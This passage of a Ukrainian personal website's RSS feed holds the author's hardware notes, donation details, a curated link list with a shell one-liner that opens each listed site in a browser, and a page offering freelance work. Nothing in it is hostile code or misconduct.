&lt;li&gt;&lt;a href=&#34;https://github.com/mayfrost/guides/blob/master/ALTERNATIVES.md&#34;&gt;Альтернативи товстим програмам&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://switching.software/&#34;&gt;Список замін популярних неетичних програм&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://directory.fsf.org/wiki/Main_Page&#34;&gt;Директорія Вільних програм FSF&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://wiki.installgentoo.com/index.php/List_of_recommended_GNU/Linux_software&#34;&gt;Install Gentoo wiki&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Списки awesome на ґітхабі. Наприклад, &lt;a href=&#34;https://gitlab.com/nodiscc/awesome-linuxaudio&#34;&gt;Список програм та ресурсів для про- аудіо/відео/лайвів у Linux.&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;залізо&#34;&gt;Залізо&lt;/h2&gt;
&lt;iframe src=&#34;https://youtube.com/embed/YaFOTBQ68w0&#34;
        loading=&#34;lazy&#34;
        sandbox=&#34;allow-same-origin allow-scripts allow-popups&#34;
        allowfullscreen frameborder=&#34;0&#34;
        title=&#34;Embedded Video&#34;&gt;
&lt;/iframe&gt;

&lt;dl&gt;
&lt;dt&gt;Комп&amp;rsquo;ютер&lt;/dt&gt;
&lt;dd&gt;Моя робоча коняка &amp;mdash; ноутбук &lt;a href=&#34;https://youtu.be/YaFOTBQ68w0&#34;&gt;Thinkpad X220t&lt;/a&gt;, який я придбав за ₴3500 на OLX. До цього я користувався звичайним X220, який узагалі взяв за 2 тисячі разом із док-станцією Ultrabase. Тепер це мій запасний ноутбук.&lt;/dd&gt;
&lt;dd&gt;Старі синкпеди &amp;mdash; це еталон дизайну комп&amp;rsquo;ютерів. Вони створені для тривалого корпоративного вжитку, тож дуже міцні та легко ремонтуються.
А ще в них є клавіатури, яким за ергономічністю та тактильністю нема рівних, легендарний TrackPoint (піпка-джойстик замість мишки) та ThinkLight (значно кмітливіша за сучасні геймерські фантазії підсвітка клавіатури). Сучасні ноутбуки програють їм у всьому (і сучасні синкпеди теж, бо Lenovo скапарала їх): ось &lt;a href=&#34;https://miliukhin.xyz/articles/x220_vs_gaymers/&#34;&gt;наглядне порівняння&lt;/a&gt;.&lt;/dd&gt;
&lt;dt&gt;Диски&lt;/dt&gt;
&lt;dd&gt;Як системний диск я завжди обираю SSD та обов&amp;rsquo;язково шифрую його за допомогою LUKS.
Я вважаю, що це справді найважливіша деталь, бо
з SSD комп&amp;rsquo;ютери стають незрівнянно швидше працювати та споживають менше енергії.
Але оскільки в них флеш-пам&amp;rsquo;ять, з якої неможливо стерти файли, SSD просто необхідно шифрувати.
Медіа та бекапи можу зберігати на жорстких дисках. Бекапи раджу не шифрувати.&lt;/dd&gt;
&lt;/dl&gt;
</description>
	</item>
	
	<item>
		<title>Підтримайте Сашка</title>
		<link>https://miliukhin.xyz/donate/</link>
		<pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
		
		<guid>https://miliukhin.xyz/donate/</guid>
		<description>&lt;p&gt;Я роблю купу речей в Інтернеті: відео, навчальні посібники, есе, веду радіо тощо. Я нічого не прошу взамін, нічого не пейволлю та не продаю абсолютно нічого цифрового, і я вважаю, що все цифрове має бути безкоштовним.&lt;/p&gt;
&lt;p&gt;Якщо ж хочете віддячити, надішліть мені Bitcoin чи Monero:&lt;/p&gt;
&lt;div class=&#34;cryptocontainer&#34;&gt;
&lt;div class=&#34;cryptoinfo&#34;&gt;
&lt;img style=&#34;max-height:1em;max-width:1em&#34; src=&#34;https://miliukhin.xyz/svg/xmr.svg&#34;&gt; Monero &lt;br&gt;
&lt;code class=&#34;address&#34; style=&#34;font-size:xx-small;overflow-wrap:break-word;&#34;&gt;8A4RUgzWB9ZYG11Y784zJu73ApNi1PQURdzufgkEWii7dWg2C1btDaze6Jf6yY7qoif45LgeRmDZeKVpeo3MgREaRLUoNWF&lt;/code&gt;&lt;br&gt;
&lt;a href=&#34;https://miliukhin.xyz/qr/monero.png&#34;&gt;&lt;img class=&#34;qr&#34; src=&#34;https://miliukhin.xyz/qr/xmr-logo.png&#34;&gt;&lt;/a&gt;
&lt;br&gt;
&lt;/div&gt;
&lt;div class=&#34;cryptoinfo&#34;&gt;
&lt;img style=&#34;max-height:1em;max-width:1em&#34; src=&#34;https://miliukhin.xyz/svg/btc.svg&#34;&gt; Bitcoin &lt;br&gt;
&lt;code class=&#34;address&#34; style=&#34;font-size:xx-small;overflow-wrap:break-word;&#34;&gt;bc1qzfr0jwctch63nj98lzf0mrhwz0czevzlkd5wvh&lt;/code&gt;&lt;br&gt;&lt;br&gt;
&lt;a href=&#34;https://miliukhin.xyz/qr/btc.png&#34;&gt;&lt;img class=&#34;qr&#34; src=&#34;https://miliukhin.xyz/qr/btc-logo.png&#34;&gt;&lt;/a&gt;
&lt;br&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Ви можете надіслати гроші з повідомленням через:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://xmrchat.com/sashko&#34;&gt;XMRChat&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Також можете надіслати кошти через PayPal на мою адресу: &lt;code&gt;oleksandr@miliukhin.xyz&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Або можете скинути на картку: &lt;code&gt;5457 0825 2001 1961&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;стікери&#34;&gt;Стікери&lt;/h2&gt;
&lt;p&gt;Цифрового я не продаю, а натомість маю кумедні &lt;a href=&#34;https://miliukhin.xyz/goods/&#34;&gt;лінуксоїдські стікери&lt;/a&gt;. Можете придивитись!&lt;/p&gt;
</description>
	</item>
	
	<item>
		<title>Посилання</title>
		<link>https://miliukhin.xyz/links/</link>
		<pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
		
		<guid>https://miliukhin.xyz/links/</guid>
		<description>&lt;p&gt;Мій список посилань на корисні вебсайти.
Такі списки &amp;mdash; справжні орієнтири в хаотичному вебі, захопленому контент-фермами та штучним недоінтелектом, тому я всім раджу їх вести.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Увага! Ви можете відкрити всі сайти з цього списку одночасно, запустивши наступне&lt;/strong&gt; (переконайтеся, що у вас визначена змінна $BROWSER або замініть її на свій браузер):&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;setsid &lt;span class=&#34;nv&#34;&gt;$BROWSER&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; sleep &lt;span class=&#34;m&#34;&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;curl -L miliukhin.xyz/links &lt;span class=&#34;p&#34;&gt;|&lt;/span&gt; grep http &lt;span class=&#34;p&#34;&gt;|&lt;/span&gt; sed &lt;span class=&#34;s1&#34;&gt;&amp;#39;s/^.*href=&amp;#34;//; s/&amp;#34;&amp;gt;.*//&amp;#39;&lt;/span&gt; &amp;gt; basedlinks
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;while&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;read&lt;/span&gt; -r link&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;do&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$BROWSER&lt;/span&gt; --new-tab &lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$link&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;done&lt;/span&gt; &amp;lt; basedlinks
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;А тепер &amp;mdash; до посилань. Почнемо з найголовнішого:&lt;/p&gt;
&lt;div class=columns&gt;
&lt;h2 id=&#34;-підтримайте-україну&#34;&gt;🇺🇦 Підтримайте Україну&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://stand-with-ukraine.pp.ua/&#34;&gt;StandWithUkraine&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.who-support-rus-war.com/&#34;&gt;Бойкот спонсорам окупанта&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;-гіди&#34;&gt;🔍 Гіди&lt;/h2&gt;
&lt;h3 id=&#34;-клірвеб&#34;&gt;👶 Клірвеб&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://cakestwix.github.io/WebUkrainianStuff/&#34;&gt;Ukrainian Stuff&lt;/a&gt; &amp;mdash; укровікі ЧайникаТвікса&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://biolabs.in.ua/&#34;&gt;Biolabs.in.ua&lt;/a&gt; &amp;mdash; пошуковик несоєвих українських сайтів
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://biolabs.in.ua/sites/&#34;&gt;Сайти, індексовані biolabs&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://annas-archive.org/&#34;&gt;Anna’s Archive&lt;/a&gt; &amp;mdash; пошукова система для тіньових бібліотек&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://wiby.me/&#34;&gt;Wiby&lt;/a&gt; &amp;mdash; шукач мінімалістичних сайтів&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://cyberpunked.org/&#34;&gt;cyberpunked.org&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://cyberpunk-life.neocities.org/&#34;&gt;cyberlife&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;-даркнет&#34;&gt;👀 Даркнет&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://tortaxi2dev6xjwbaydqzla77rrnth7yn2oqzjfmiuwn5h6vsk2a4syd.onion/&#34;&gt;tor.taxi&lt;/a&gt; taxi2pxjy7hnm3tdoa67ub5xancixo7vncdx3y5mnxxxfoyunlla.b32.i2p&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://zqktlwiuavvvqqt4ybvgvi7tyo4hjl5xgfuvpdf6otjiycgwqbym2qad.onion/wiki/Main_Page&#34;&gt;Hidden Wiki&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;-блоги&#34;&gt;🧑 Блоги&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://danwin1210.de/&#34;&gt;Daniel Winzen&lt;/a&gt; [&lt;a href=&#34;http://danielas3rtn54uwmofdo3x2bsdifr47huasnmbgqzfrec5ubupvtpid.onion/&#34;&gt;.onion&lt;/a&gt;]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://lukesmith.xyz/&#34;&gt;Luke Smith&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://unixdigest.com&#34;&gt;Unix Sheikh&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://stallman.org/&#34;&gt;Richard Stallman&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://digdeeper.club/&#34;&gt;Dig Deeper&lt;/a&gt; &amp;mdash; нонконформістський блог&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://unfa.xyz/&#34;&gt;Unfa&lt;/a&gt; &amp;mdash; Музикант-лінуксоїд&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://inpieces.rip/&#34;&gt;inpieces.rip&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://bebyx.co.ua/&#34;&gt;Артем Бебик&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://quga.m0e.space/&#34;&gt;Qugalet&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://phoresl.com/&#34;&gt;Орест Смертний&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://xn--w5d.cc/&#34;&gt;UNDLTD&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://blog.noleron.com/&#34;&gt;Noleron&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://exception.net.ua/&#34;&gt;Exception.net.ua&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;-безпека-приватність-анонімність-та-етика&#34;&gt;🛡️ Безпека, приватність, анонімність та етика&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://routersecurity.org/index.php&#34;&gt;Router Security&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://git.hackliberty.org/hackliberty.org/Hack-Liberty-Resources&#34;&gt;Hack Liberty Resources&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://anonymousplanet.org/&#34;&gt;Anonymous Planet&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://spyware.neocities.org/&#34;&gt;Online Spyware Watchdog&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;дізнайтеся, що показує іншим ваш бравзер: [&lt;a href=&#34;https://www.elfqrin.com/binfo_check_anonymity.php&#34;&gt;1&lt;/a&gt;] [&lt;a href=&#34;https://browserleaks.com/&#34;&gt;2&lt;/a&gt;]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://tosdr.org&#34;&gt;TOS;DR&lt;/a&gt; &amp;mdash; скорочені умови використання різних сервісів&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://crippled.media/free-speech-vps-providers-put-to-the-test&#34;&gt;Тест провайдерів VPS на цензуру&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;-музика&#34;&gt;🎵 Музика&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://everynoise.com/&#34;&gt;Every Noise at Once&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.nolifetilmetal.com/cdlist.html&#34;&gt;No Life &amp;rsquo;til Metal&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.metal-archives.com/&#34;&gt;Metal Archives&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.bnrmetal.com/v5/main/home&#34;&gt;BNR Metal Pages&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;-табулатура-та-ноти&#34;&gt;🎼 Табулатура та ноти&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://metaltabs.com&#34;&gt;MetalTabs&lt;/a&gt; &amp;mdash; працює тільки через http, на https хоститься інший сайт&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.classtab.org/index.htm&#34;&gt;Classical Guitar Tablature&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/ad-si/awesome-sheet-music&#34;&gt;A curated list of awesome sheet music software, libraries and resources.&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.mutopiaproject.org/&#34;&gt;Mutopia&lt;/a&gt; &amp;mdash; Free Sheet Music&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;-компютерне&#34;&gt;💻 Комп&amp;rsquo;ютерне&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://www.thinkwiki.org/wiki/ThinkWiki&#34;&gt;ThinkWiki&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://h-node.org/&#34;&gt;h-node&lt;/a&gt; &amp;mdash; база пристроїв, сумісних із повністю вільною ОС&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://linuxpreloaded.com/&#34;&gt;Linux Preloaded&lt;/a&gt; &amp;mdash; комп&amp;rsquo;ютери з Linux з коробки&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://landchad.net&#34;&gt;Landchad.net&lt;/a&gt; &amp;mdash; посібники з налаштування різних вебсервісів&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://refrf.dev/&#34;&gt;Regular Expressions for Regular Folk&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;-сховища-трекери&#34;&gt;📚 Сховища, трекери&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://piracy.vercel.app/&#34;&gt;Piracy Index&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://chtyvo.org.ua/&#34;&gt;Чтиво&lt;/a&gt; &amp;mdash; бібліотека українськомовної літератури. &lt;strong&gt;Обережно, javascript!!!&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://exlibris.org.ua/&#34;&gt;EXLIBRIS&lt;/a&gt; &amp;mdash; уkраїнсьkа елеkтронна бібліотеkа&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://www.thelatinlibrary.com/&#34;&gt;THE LATIN LIBRARY&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://thepiratebay.org/&#34;&gt;The Pirate Bay&lt;/a&gt; [&lt;a href=&#34;http://piratebayo3klnzokct3wt5yyxb2vpebbuyjl7m623iaxmqhsd52coid.onion/&#34;&gt;.onion&lt;/a&gt;]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://rawkbawx.rocks/&#34;&gt;Rockbox&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://academictorrents.com/&#34;&gt;Academic Torrents&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://sci-hub.st/&#34;&gt;Sci-Hub&lt;/a&gt; &amp;mdash; база наукової літератури&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://alldatasheet.com&#34;&gt;ALLDATASHEET.COM&lt;/a&gt; &amp;mdash; Даташити до електроніки&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://toloka.to/&#34;&gt;Hurtom&lt;/a&gt; &amp;mdash; торент-толока&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;-журнали&#34;&gt;📰 Журнали&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://pagedout.institute/&#34;&gt;Paged Out!&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://n-o-d-e.net/zine/index.html&#34;&gt;N O D E&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://solar.lowtechmagazine.com/&#34;&gt;LOW←TECH MAGAZINE&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.alchemistowl.org/pocorgtfo/&#34;&gt;PoC||GTFO&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://phrack.org&#34;&gt;Phrack&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://tmpout.sh/&#34;&gt;tmp.0ut&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;-відео&#34;&gt;📹 Відео&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://videos.lukesmith.xyz/&#34;&gt;Luke Smith&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/@MentalOutlaw/videos&#34;&gt;Mental Outlaw&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/channel/UC1cjfPrFep0aG5WnEPfOglQ&#34;&gt;CtrlD&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/@andreaszwiebel3956&#34;&gt;Andreas Zwiebel&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
</description>
	</item>
	
	<item>
		<title>Співпраця</title>
		<link>https://miliukhin.xyz/offers/</link>
		<pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
		
		<guid>https://miliukhin.xyz/offers/</guid>
		<description>&lt;p&gt;Якщо ви просто хотіли підтримати мене, то це на &lt;a href=&#34;https://miliukhin.xyz/donate/&#34;&gt;іншій сторінці&lt;/a&gt;.
А тут &amp;mdash; робота!&lt;/p&gt;

&lt;figure
	 style=&#34;max-width: 300px;&#34;&gt;
		&lt;img src=&#34;https://miliukhin.xyz/img/Epic-Handshake.jpg&#34; width=&#34;300px&#34;&gt;&lt;/figure&gt;

&lt;p&gt;Я відкритий до співпраці. Якщо ви маєте цікавий проект
чи бажаєте долучитись до одного з моїх, не стидайтесь, &lt;a href=&#34;https://miliukhin.xyz/contact/&#34;&gt;пишіть&lt;/a&gt;.
Загалом я за будь-який фурор, але ось кілька головних течій:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Культурно-просвітницька робота. Написання музики. Підняття українського вебу. Технологічні проєкти.&lt;/li&gt;
&lt;li&gt;Бізнес. Гроші заробляти.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Повідомлення про цікаві заходи (конференції, концерти тощо) вітаються.&lt;/p&gt;
&lt;h2 id=&#34;робота&#34;&gt;Робота&lt;/h2&gt;
&lt;p&gt;Я приймаю пропозиції роботи.&lt;/p&gt;
&lt;dl&gt;
&lt;dt&gt;🌍 Інтернет-господарство&lt;/dt&gt;
&lt;dd&gt;Якщо вам потрібно запустити сайт чи інший сервіс в Інтернеті, звертайтесь! Крім цього можу налаштувати CI/CD на вашому проєкті. &lt;em&gt;Також можете прямо запропонувати вакансію напрямку Sysadmin/Devops&lt;/em&gt;.&lt;/dd&gt;
&lt;dt&gt;🎨 Дизайн&lt;/dt&gt;
&lt;dd&gt;&lt;a href=&#34;https://miliukhin.xyz/gallery/milposters/&#34;&gt;Плакати&lt;/a&gt; (не тільки такі), &lt;a href=&#34;https://miliukhin.xyz/goods/&#34;&gt;стікери&lt;/a&gt; (теж не тільки такі), сайти, поліграфія; Ілюстрації (обкладинки для музичних альбомів, книжок, фільмів тощо); деяку арт-дирекцію теж можу зорганізувати.&lt;/dd&gt;
&lt;dt&gt;🗣️ Переклад&lt;/dt&gt;
&lt;dd&gt;Військових, технічних текстів (англійська, українська, російська)&lt;/dd&gt;
&lt;dt&gt;📖 Верстка LaTeX&lt;/dt&gt;
&lt;dd&gt;Я професійно зверстаю книжку, статтю, плакат, поему, візитку, загалом що завгодно. Я можу переробити страшний рукопис, створений у WYSIWG-редакторі типу Word на прекрасний LaTeX-документ.&lt;/dd&gt;
&lt;dt&gt;🎼 Продакшн музики&lt;/dt&gt;
&lt;dd&gt;Можу написати й записати вам пісню, саундтрек до гри/фільму тощо. Також займаюся записом гітарних партій (сесійний гітарист).&lt;/dd&gt;
&lt;/dl&gt;
&lt;p&gt;Прайс залежить від обсягу роботи. Пишіть!&lt;/p&gt;
</description>
	</item>
	
	</channel>
</rss>
